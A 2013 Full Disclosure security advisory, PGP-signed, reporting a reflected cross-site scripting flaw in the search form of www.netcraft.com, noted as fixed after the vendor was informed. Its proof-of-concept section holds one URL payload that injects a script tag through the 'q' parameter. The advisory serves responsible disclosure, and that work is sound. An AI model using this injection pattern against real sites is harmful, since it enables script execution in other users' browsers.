Full Disclosure: www.netcraft.com - "Search Form" Cross-site Scripting vulnerability

[Stefan Schurtz <sschurtz () t-online de>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory:               www.netcraft.com - Search Form Cross-site Scripting vulnerability
Advisory ID:            SSCHADV2013-008
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on www.netcraft.com
Vendor URL:             http://www.netcraft.com
Vendor Status:          fixed

==========================
Vulnerability Description
==========================

The 'q'-Parameter in the Search Form on www.netcraft.com is prone to a
XSS vulnerability.

==========================
PoC-Exploit
==========================

// IE8 & IE 10 & Aurora 8.0

http://www.netcraft.com/search/?q=127.0.0.1";></iframe><script>alert(document.domain)</script>&submit=Search&submit=Search

==========================
Solution
==========================

fixed

==========================
Disclosure Timeline
==========================

12-May-2013 - vendor informed by email
13-may-2013 - feedback from vendor

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://www.netcraft.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-008.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (MingW32)
Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools
Comment: Download at: http://thunderbird.gnupt.de

iEYEARECAAYFAlGSiigACgkQg3svV2LcbMBgIACbBCTbp7FdWDmdKv1qvecfgwX3
R08AmgM/Y93S4SkM7JMc4st1/X4Yq5uH
=9TqK
-----END PGP SIGNATURE-----

Attachment: 0x62DC6CC0.asc
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/